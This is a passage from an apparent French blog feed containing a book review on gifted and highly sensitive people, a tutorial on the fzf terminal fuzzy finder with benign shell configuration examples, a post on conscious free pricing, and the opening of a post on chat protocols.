&lt;p&gt;Il ne s&amp;rsquo;agit plus ici de communication non violente ou de &lt;a href="2016-05-25-gueuler-avec-bienveillance.html"&gt;gueuler avec bienveillance&lt;/a&gt; &amp;mdash; bien que le livre en parle. De la bienveillance. &amp;mdash; mais de comprendre l&amp;rsquo;&lt;em&gt;hyper&lt;/em&gt; que tu as dans ton entourage. Il y en a forcément un puisque ceci touche 10 à 20% de la population.&lt;/p&gt;
&lt;p&gt;&amp;mdash; L&amp;rsquo;hyper quoi ?&lt;br&gt;
&amp;mdash; Le seul et unique « hyperpouvoir »…&lt;/p&gt;
&lt;p&gt;Non, le livre parle d&amp;rsquo;&lt;strong&gt;intelligences&lt;/strong&gt; et de &lt;strong&gt;sentiments&lt;/strong&gt;. Il parles
des personnes &lt;em&gt;hyperintelligentes&lt;/em&gt; (les hauts potentiels, « HP » ou
encore, zèbres…) et des personnes &lt;em&gt;hypersensibles&lt;/em&gt;. On peut être l&amp;rsquo;un
&lt;strong&gt;ou&lt;/strong&gt; l&amp;rsquo;autre… ou &lt;strong&gt;les deux&lt;/strong&gt;. On nait « comme ça » et c&amp;rsquo;est tout.
Les deux ont un cerveau qui ne fonctionne pas « comme les autres ». Il
fonctionne tout aussi bien mais différemment.&lt;/p&gt;
&lt;p&gt;Le livre s&amp;rsquo;adresse premièrement aux personnes qui pensent être &lt;em&gt;hyper&lt;/em&gt;
et qui cherchent à savoir si elles le sont avant de faire éventuellement
un test. Souvent, elles n&amp;rsquo;osent pas (ça vient avec le &lt;em&gt;package&lt;/em&gt;
&lt;em&gt;hyper&lt;/em&gt;). En second lieu, il s&amp;rsquo;adresse aux personnes &lt;em&gt;hyper&lt;/em&gt; qui le
savent et qui parfois en souffrent ou s&amp;rsquo;interrogent ou fatiguent… Le
livre leur propose des solutions. Il s&amp;rsquo;adresse enfin aux personnes qui
cotoient des « hyper » &amp;mdash; parents, partenaire de
vie &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, amies &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; &amp;mdash;
et veulent apprendre à les comprendre ou tout au moins à comprendre
leurs réactions.&lt;/p&gt;
&lt;p&gt;La première partie &lt;strong&gt;« Pour comprendre mon cerveau »&lt;/strong&gt; présente les particularités et les différences des deux types d&amp;rsquo;&lt;em&gt;hyper&lt;/em&gt;. Elle permet de dire « ha oui, je suis comme ça »…ou pas. La seconde partie &lt;strong&gt;« Pour retrouver le contrôle de mon cerveau »&lt;/strong&gt; présente des solutions pour prévenir le risque d&amp;rsquo;épuisement &amp;mdash; les &lt;em&gt;hypers&lt;/em&gt; ont un cerveau qui fonctionne plus (Pas mieux. Différemment) que les autres et ils ou elles ont un risque plus élevés d&amp;rsquo;épuisement, voire de burnout &amp;mdash; calmer le cerveau hyperintellectuel et modérer l&amp;rsquo;hypersensibilité cérébrale.&lt;/p&gt;
&lt;p&gt;Le livre se lit facilement.
Bonne lecture.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par
&lt;a href="https://unsplash.com/@tamasp?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Tamas&lt;/a&gt;
chez Unsplash. Les cerveaux hypers tournent plus vite ,ils consomment
plus de magnésium… qui se trouve dans le chocolat.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Un p&amp;rsquo;tit coup d&amp;rsquo;écriture inclusive. « Partenaire de vie » &amp;mdash; &lt;em&gt;so 2021&lt;/em&gt; &amp;mdash; évite de dire mari ou femme pour les personnes qui vivent ensemble mais ne sont pas mariées. Elle évite aussi de dire conjoint… car il faudrait écrire conjoint ou conjointe, voire conjoint·e mais le point médian fait peur. Bouh. Je devrais peut-être mettre un &amp;lsquo;s&amp;rsquo; entre parenthèse…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Et là, inutile d&amp;rsquo;écrire amis et amies, voire ami·es (&lt;em&gt;re bouh&lt;/em&gt;) puisque je parle de personnes.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>fzf, fuzzy finder ou comment faire des recherches plus efficaces dans son terminal</title><link href="http://blog.namok.be/2021-06-08-fzf,fuzzy-finder-ou-comment-faire-des-recherches-plus-efficaces-dans-son-terminal.html" rel="alternate"/><published>2021-06-08T00:00:00+02:00</published><updated>2021-06-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-06-08:/2021-06-08-fzf,fuzzy-finder-ou-comment-faire-des-recherches-plus-efficaces-dans-son-terminal.html</id><summary type="html">fzf, fuzzy finder ou comment faire des recherches plus efficaces dans son terminal</summary><content type="html">&lt;p&gt;&lt;img alt="98__magnifying_glass____vii_by_salihagir_d2nyby1-fullview.jpg, juin 2021" src="/images/98__magnifying_glass____vii_by_salihagir_d2nyby1-fullview.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fzf&lt;/code&gt; pour &lt;em&gt;command line fuzzy finder&lt;/em&gt;… qui ne veut rien dire pour moi &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; mais continuez de lire, c&amp;rsquo;est pratique.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;First at all&lt;/em&gt;, ça s&amp;rsquo;installe d&amp;rsquo;un simple coup de &lt;code&gt;apt install fzf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/junegunn/fzf"&gt;Sur la page du projet&lt;/a&gt;, on peut voir que c&amp;rsquo;est un &lt;strong&gt;filtre unix&lt;/strong&gt; qui peut utiliser toutes sortes de listes. Pas uniquement une liste de fichiers, mais aussi l&amp;rsquo;historique, une liste de processus, de noms de domaines…&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fzf&lt;/code&gt; lit la liste à partir de l&amp;rsquo;entrée standard &lt;code&gt;STDIN&lt;/code&gt; et affiche l&amp;rsquo;élément sélectionné (ou les éléments sélectionnés) sur la sortie standard (&lt;code&gt;STDOUT&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;find&lt;span class="w"&gt; &lt;/span&gt;*&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fzf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-m&lt;span class="o"&gt;]&lt;/span&gt;
fzf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;cet exemple envoie la liste de tous les fichiers du répertoire courant (sans les fichiers cachés) à la commande fzf et la recherche peut commencer. Sans paramètre la commande &lt;code&gt;fzf&lt;/code&gt; a ce comportement par défaut.&lt;/p&gt;
&lt;p&gt;Par défaut le recherche est étendue (&lt;em&gt;extended search mode&lt;/em&gt;) et se fait en entrant des mots séparés par des espaces. Certains caractères sont spéciaux et signifient : &lt;code&gt;^&lt;/code&gt; au début de la chaine, &lt;code&gt;$&lt;/code&gt; à la fin, &lt;code&gt;!&lt;/code&gt; inverse et &lt;code&gt;'&lt;/code&gt; pour &lt;em&gt;exact match&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Par exemple : &lt;code&gt;^music mp3$ 'exact oui !non&lt;/code&gt; retourne les éléments qui commence par « music », se termine par « mp3 », contiennent la chaine « exact », les lettres de « oui » et pas celles de « non ».&lt;/p&gt;
&lt;p&gt;&lt;img alt="fzf-1.gif, juin 2021" src="/images/fzf-1.gif"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[Up]&lt;/code&gt; et &lt;code&gt;[Down]&lt;/code&gt; pour voyager dans la liste ;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[Enter]&lt;/code&gt; pour sélectionner l&amp;rsquo;élément ;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;option &lt;code&gt;-m&lt;/code&gt; permet de faire une recherche multiple. La sélection se fait avec la touche &lt;code&gt;[Tab]&lt;/code&gt; et la validation avec &lt;code&gt;[Enter]&lt;/code&gt; ;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;option &lt;code&gt;-e&lt;/code&gt; (&lt;em&gt;exact match&lt;/em&gt;) désactive la recherche étendue.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il est possible de faire une recherche dans l&amp;rsquo;historique tout aussi facilement&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;history&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fsf&lt;span class="w"&gt; &lt;/span&gt;+s&lt;span class="w"&gt; &lt;/span&gt;--tac
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+s&lt;/code&gt; ne trie pas la liste ;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--tac&lt;/code&gt; la montre dans l&amp;rsquo;ordre inverse.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Plutôt que d&amp;rsquo;envoyer sur &lt;em&gt;STDOUT&lt;/em&gt; (ce qui n&amp;rsquo;est pas pratique), il est possible de rediriger la commande avec un bon vieil &lt;code&gt;xargs&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;img alt="fzf-2.gif, juin 2021" src="/images/fzf-2.gif"&gt;&lt;/p&gt;
&lt;p&gt;… ou d&amp;rsquo;utiliser un sous-shell &lt;code&gt;vim -o $(fzf)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Plutôt que d&amp;rsquo;utiliser un sous-shell, il est possible d&amp;rsquo;utiliser &lt;strong&gt;&lt;code&gt;**[Tab]&lt;/code&gt;&lt;/strong&gt; pour lancer &lt;code&gt;fzf&lt;/code&gt; à partir d&amp;rsquo;un répertoire.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vim&lt;span class="w"&gt; &lt;/span&gt;/elsewhere/**&lt;span class="o"&gt;[&lt;/span&gt;Tab&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/**&lt;span class="o"&gt;[&lt;/span&gt;Tab&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img alt="fzf-4.gif, juin 2021" src="/images/fzf-4.gif"&gt;&lt;/p&gt;
&lt;p&gt;Pour que le lancement de &lt;code&gt;fzf&lt;/code&gt; se fasse avec &lt;code&gt;**[Tab]&lt;/code&gt;, il faut éduquer bash en ajoutant ceci à son &lt;code&gt;.bashrc&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/usr/share/bash-completion/completions/fzf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La &lt;em&gt;magie des deux étoiles&lt;/em&gt; fonctionne également pour une liste d&amp;rsquo;hôtes accédés en &lt;code&gt;ssh&lt;/code&gt; ou pour des identifiants de processus (&lt;em&gt;pid&lt;/em&gt;). Essayez:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;Tab&lt;span class="o"&gt;]&lt;/span&gt;
ssh&lt;span class="w"&gt; &lt;/span&gt;**&lt;span class="o"&gt;[&lt;/span&gt;Tab&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-9&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;Tab&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour les personnes qui le préfèrent, il existe des touches de raccourcis (&lt;em&gt;key binding&lt;/em&gt;) que l&amp;rsquo;on peut définir en incluant le fichier d&amp;rsquo;exemple (ou en écrivant le sien).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/usr/share/doc/fzf/examples/key-bindings.bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… par défaut &lt;code&gt;[Ctrl-T]&lt;/code&gt; lancera &lt;code&gt;fzf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[Ctrl-r]&lt;/code&gt; remplacera la recherche dans l&amp;rsquo;historique par une recherche dans l&amp;rsquo;historique avec &lt;code&gt;fzf&lt;/code&gt;. Beaucoup plus facile.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[Alt-c]&lt;/code&gt; permettra de faire un changement de répertoire (&lt;code&gt;cd&lt;/code&gt;) vers le répertoire sélectionné par &lt;code&gt;fzf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Il est maintenant temps de s&amp;rsquo;occuper des paramètres que l&amp;rsquo;on peut passer à la commande. En voici quelques uns issus de la présentation officielle que je trouve pratiques.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--height 50%&lt;/code&gt; pour limiter la hauteur de fzf à 50% du terminal ;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--multi&lt;/code&gt; (&lt;code&gt;-m&lt;/code&gt;) en mode multi-sélection ;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--inline-info&lt;/code&gt; pour gagner une ligne, la recherche et le nombre de fichiers se trouvent sur la même ligne ; &lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--preview cat {}&lt;/code&gt; pour afficher une fenêtre de prévisualisation du fichier. La documentation propose un peu mieux avec:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;--preview &amp;#39;[[ $(file --mime {}) =~ binary ]] 
    &amp;amp;&amp;amp; echo {} is a binary file \
    || cat {} 2&amp;gt;/dev/null | head -300`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--preview-window='hidden'&lt;/code&gt; qui n&amp;rsquo;affiche pas la fenêtre de prévisualisation… &lt;em&gt;heu !&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;… &lt;code&gt;--bind='f2:toggle-preview'&lt;/code&gt; qui associe à la touche &lt;code&gt;[F2]&lt;/code&gt; l&amp;rsquo;affichage, ou pas, de la prévisualisation ;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="fzf-5.gif, juin 2021" src="/images/fzf-5.gif"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--bind='ctrl-a:select-all+accept&lt;/code&gt; en combinaison avec &lt;code&gt;--multi&lt;/code&gt; bien sûr ;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;…ce qui peut s&amp;rsquo;ajouter dans son fichier de configuration &lt;em&gt;bash&lt;/em&gt; (ou autre &lt;em&gt;shell&lt;/em&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;FZF_DEFAULT_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;--height 50% \&lt;/span&gt;
&lt;span class="s2"&gt;    --multi \&lt;/span&gt;
&lt;span class="s2"&gt;    --inline-info \&lt;/span&gt;
&lt;span class="s2"&gt;    --preview &amp;#39;[[ \$(file --mime {}) =~ binary ]] \&lt;/span&gt;
&lt;span class="s2"&gt;        &amp;amp;&amp;amp; echo {} is a binary file \&lt;/span&gt;
&lt;span class="s2"&gt;        || bat --color=always --style=plain,changes {} \&lt;/span&gt;
&lt;span class="s2"&gt;        2&amp;gt;/dev/null | head -300 &amp;#39; \&lt;/span&gt;
&lt;span class="s2"&gt;    --preview-window=&amp;#39;hidden&amp;#39; \&lt;/span&gt;
&lt;span class="s2"&gt;    --bind=&amp;#39;f2:toggle-preview,ctrl-a:select-all+accept&amp;#39;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si l&amp;rsquo;on veut une prévisualisation d&amp;rsquo;un répertoire, cela peut se faire &lt;em&gt;via&lt;/em&gt; : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;FZF_ALT_C_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;--preview &amp;#39;tree -C {} | head -100&amp;#39;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si vous avez des &lt;em&gt;tips and tricks&lt;/em&gt;, n&amp;rsquo;hésitez pas à les partager…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sources, la &lt;a href="https://github.com/junegunn/fzf"&gt;page officielle du projet&lt;/a&gt; et la &lt;a href="https://www.youtube.com/watch?v=qgG5Jhi_Els"&gt;vidéo associée&lt;/a&gt; ainsi que &lt;a href="https://sim590.github.io/fr/outils/fzf/"&gt;cet article&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Crédit photo &lt;a href="https://www.deviantart.com/salihagir/art/98-Magnifying-Glass-VII-161165305"&gt;salihagir&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;&lt;a href="https://blog.namok.be/deepl.com"&gt;deepl&lt;/a&gt; traduit &lt;em&gt;fuzzy finder&lt;/em&gt; par « détecteur de fausses pistes » ou encore « chercheur de flou ».&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Un prix libre &amp; conscient, qu'est-ce que c'est et pourquoi ?</title><link href="http://blog.namok.be/2021-05-09-un-prix-libre-conscient-qu-est-ce-que-c-est-et-pourquoi.html" rel="alternate"/><published>2021-05-09T00:00:00+02:00</published><updated>2021-05-09T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-05-09:/2021-05-09-un-prix-libre-conscient-qu-est-ce-que-c-est-et-pourquoi.html</id><summary type="html">Un prix libre &amp; conscient, qu'est-ce que c'est et pourquoi ?</summary><content type="html">&lt;p&gt;&lt;img alt="exchanged_souls_by_mayed86_doyyys_cut800.jpg, mai 2021" src="/images/exchanged_souls_by_mayed86_doyyys_cut800.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Certaines personnes ont parfois des difficultés à fixer un prix pour un objet ou une prestation.&lt;/p&gt;
&lt;p&gt;— Parce que ça n&amp;rsquo;a pas de valeur !&lt;/p&gt;
&lt;p&gt;Sûrement pas. &lt;a href="http://ploum.net/le-prix-libre-une-impossible-utopie/"&gt;La valeur n&amp;rsquo;est pas le prix. Le prix, n&amp;rsquo;est pas la valeur&lt;/a&gt;. Ce qui est simple pour moi est peut-être difficile pour toi, je peux t&amp;rsquo;apprendre. Je suis formé dans ce domaine et mon expertise ou ma pratique t&amp;rsquo;intéresse. J&amp;rsquo;ai peut-être un syndrôme de l&amp;rsquo;imposteur dans ce que je propose. L&amp;rsquo;objet ou l&amp;rsquo;activité proposée est nouvelle et l&amp;rsquo;on ne sait pas encore quel est le retour du public (parce qu&amp;rsquo;aujourd&amp;rsquo;hui c&amp;rsquo;est parfois le public qui fixe le prix). Ce n&amp;rsquo;est pas dans mon tempérament que d&amp;rsquo;estimer la valeur de ce que je propose. Ma valeur ? Parfois c&amp;rsquo;est simplement une manière de permettre à chacun et chacune de participer en fonction de ses moyens. L&amp;rsquo;un donnera plus et l&amp;rsquo;autre moins. C&amp;rsquo;est alors un moyen d&amp;rsquo;inclusion, un moyen de donner un accès équitable aux savoirs — savoir, savoir-faire et savoir-être. C&amp;rsquo;est un autre rapport à l&amp;rsquo;argent. Que suis-je prêt à donner… et à recevoir.&lt;/p&gt;
&lt;p&gt;Le prix est libre. Il est conscient.&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas gratuit.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Un &lt;strong&gt;prix libre et conscient&lt;/strong&gt; est la somme en euros ou l&amp;rsquo;échange en nature qu&amp;rsquo;une personne peut ou veut donner en échange d&amp;rsquo;un service rendu, d&amp;rsquo;une activité suivie, d&amp;rsquo;un travail effectué ou d&amp;rsquo;un objet reçu. C&amp;rsquo;est &lt;strong&gt;obligatoire&lt;/strong&gt; car ce n&amp;rsquo;est pas gratuit.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Choisir en conscience, c&amp;rsquo;est choisir en pensant aux prix pratiqués sur le marché et aussi au besoin de la personne offrant le service d&amp;rsquo;être, à minima, rémunérée voire valorisée dans son travail ou cette activité. C&amp;rsquo;est penser aux coûts liés à l&amp;rsquo;activité (location, matières premières, investissement, taxes, charges…). C&amp;rsquo;est faire avec ses moyens ; situer l&amp;rsquo;activité, le service ou l&amp;rsquo;objet sur une échelle d&amp;rsquo;importance par rapport aux autres dépenses que l&amp;rsquo;on veut ou doit faire.&lt;/p&gt;
&lt;p&gt;Il y a quelques règles (proposées par l&amp;rsquo;université du nous) :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;La rémunération est obligatoire.&lt;/li&gt;
&lt;li&gt;La démarche est expliquée — partagée — en début de séance.&lt;/li&gt;
&lt;li&gt;La remise se fait :&lt;ul&gt;
&lt;li&gt;en fin de séance ;&lt;/li&gt;
&lt;li&gt;de façon non-anonyme ;&lt;/li&gt;
&lt;li&gt;sans justification.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;L&amp;rsquo;exercice n&amp;rsquo;est pas toujours confortable. Surtout les premières fois. C&amp;rsquo;est plus facile de voir un prix et pouvoir dire oui, non, c&amp;rsquo;est trop cher. Acheter ou passer son chemin. Sans réflexion. Ici, il faut réfléchir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quelle était la richesse de l&amp;rsquo;activité ?&lt;/li&gt;
&lt;li&gt;Combien de temps cette personne nous a consacré ?&lt;/li&gt;
&lt;li&gt;À combien j&amp;rsquo;estime une heure de son temps (de mon temps) ?&lt;/li&gt;
&lt;li&gt;À-t-elle du payer quelque chose pour proposer l&amp;rsquo;activité ?&lt;/li&gt;
&lt;li&gt;Est-ce que le service répond à mes attentes ?&lt;/li&gt;
&lt;li&gt;Quels sont les tarifs habituels ?&lt;/li&gt;
&lt;li&gt;Est-ce que je veux soutenir la personne dans ce qu&amp;rsquo;elle propose ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et s&amp;rsquo;il est difficile de choisir, pourquoi ne pas en parler avec la personne concernée qui pourra nous aider à choisir ce que je désire donner.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://www.deviantart.com/mayed86/art/Exchanged-Souls-41942404"&gt;Mayed86&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Donne-moi ton adresse echat</title><link href="http://blog.namok.be/2021-04-11-donne-moi-ton-adresse-echat.html" rel="alternate"/><published>2021-04-11T00:00:00+02:00</published><updated>2021-04-11T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-04-11:/2021-04-11-donne-moi-ton-adresse-echat.html</id><summary type="html">Donne-moi ton adresse echat</summary><content type="html">&lt;p&gt;&lt;img alt="mike-meyers--haAxbjiHds-unsplash.jpg, avr. 2021" src="/images/mike-meyers--haAxbjiHds-unsplash.jpg" title="un téléphone (vieux modèle) jaune sur fond jaune"&gt;&lt;/p&gt;
&lt;p&gt;— Donne moi ton adresse echat, s&amp;rsquo;il-te-plait.&lt;br&gt;
— Voici : pit@example.chat&lt;/p&gt;
&lt;p&gt;Ce devrait être aussi simple de donner son adresse &lt;em&gt;echat&lt;/em&gt; (pour &lt;em&gt;eletronic chat&lt;/em&gt;) que l&amp;rsquo;adresse d&amp;rsquo;un site web à consulter ou que son adresse &lt;em&gt;email&lt;/em&gt; (&lt;em&gt;electronic mail&lt;/em&gt;) voire que son numéro de téléphone.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;email fonctionne très bien depuis plus de 20 ans. Tout le monde y est — y était — habitué. Il suffit de choisir deux choses: premièrement, une adresse email et donc un fournisseur et deuxièmement un programme pour lire et écrire ses mails.&lt;/p&gt;
&lt;p&gt;Il existe pléthore de fournisseurs de mails (les &lt;em&gt;gafam&lt;/em&gt; et d&amp;rsquo;autres), et quelques programmes pour les lire (les &lt;em&gt;gafam&lt;/em&gt; et les autres). Aujourd&amp;rsquo;hui, malheureusement, beaucoup de personnes utilisent une adresse &lt;em&gt;gmail&lt;/em&gt; et le programme &lt;em&gt;gmail&lt;/em&gt;. Oui, ça porte le même nom… pour apporter de la confusion. &lt;a href="https://fr.wikipedia.org/wiki/Don%27t_be_evil"&gt;&lt;em&gt;Don&amp;rsquo;t be evil&lt;/em&gt; qu&amp;rsquo;ils disaient !&lt;/a&gt; Si le mail n&amp;rsquo;était pas si résistant, Google l&amp;rsquo;aurait déjà mangé.&lt;/p&gt;
&lt;p&gt;Pour le &lt;em&gt;chat&lt;/em&gt;, ce qui était avant la communication instantanée et qui est maintenant une « communication instantanée qui peut être asynchrone et plus du tout instantanée », c&amp;rsquo;est un peu plus compliqué même s&amp;rsquo;il s&amp;rsquo;agit toujours d&amp;rsquo;une question de &lt;strong&gt;choix&lt;/strong&gt;. Il faut choisir trois choses : en plus de l&amp;rsquo;adresse (et donc d&amp;rsquo;un fournisseur) et du programme, il faudra choisir le protocole. Là où pour le mail, le protocole est unique, pour le &lt;em&gt;chat&lt;/em&gt;, il y en a plusieurs et c&amp;rsquo;est là que le bât blesse. C&amp;rsquo;est parce qu&amp;rsquo;il y a plusieurs protocoles que je ne peux pas à partir de &lt;em&gt;Whatsapp&lt;/em&gt; t&amp;rsquo;envoyer un message sur &lt;em&gt;Messenger&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;— De toute façon, on m&amp;rsquo;a dit d&amp;rsquo;utiliser &lt;em&gt;Signal&lt;/em&gt; !&lt;br&gt;
— Oui et on en revient à cette question de &lt;strong&gt;choix&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;être humain est tel que s&amp;rsquo;il ne peut pas choisir, il râle… et quand il doit choisir, il ne sait pas choisir ! La personne humaine est compliquée. J&amp;rsquo;en suis une.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;inconvénient de cette histoire de protocole, c&amp;rsquo;est que tu ne peux pas choisir un programme pour tes messages quels que soient les choix de tes amis et amies. &lt;em&gt;Amis politiques, il faudrait forcer les gros (_aka&lt;/em&gt; les GAFAM) a utiliser un protocole commun (&lt;em&gt;XMPP&lt;/em&gt; ou &lt;em&gt;Matrix&lt;/em&gt; ou…)_. Certains de tes amis et amies te forcent à utiliser un programme particulier. « Libre » à toi de l&amp;rsquo;accepter ou pas. De les convaincre ou pas et l&amp;rsquo;on sait très bien que c&amp;rsquo;est difficile.&lt;/p&gt;
&lt;p&gt;Revenons a cette histoire de &lt;strong&gt;choix&lt;/strong&gt;.&lt;/p&gt;
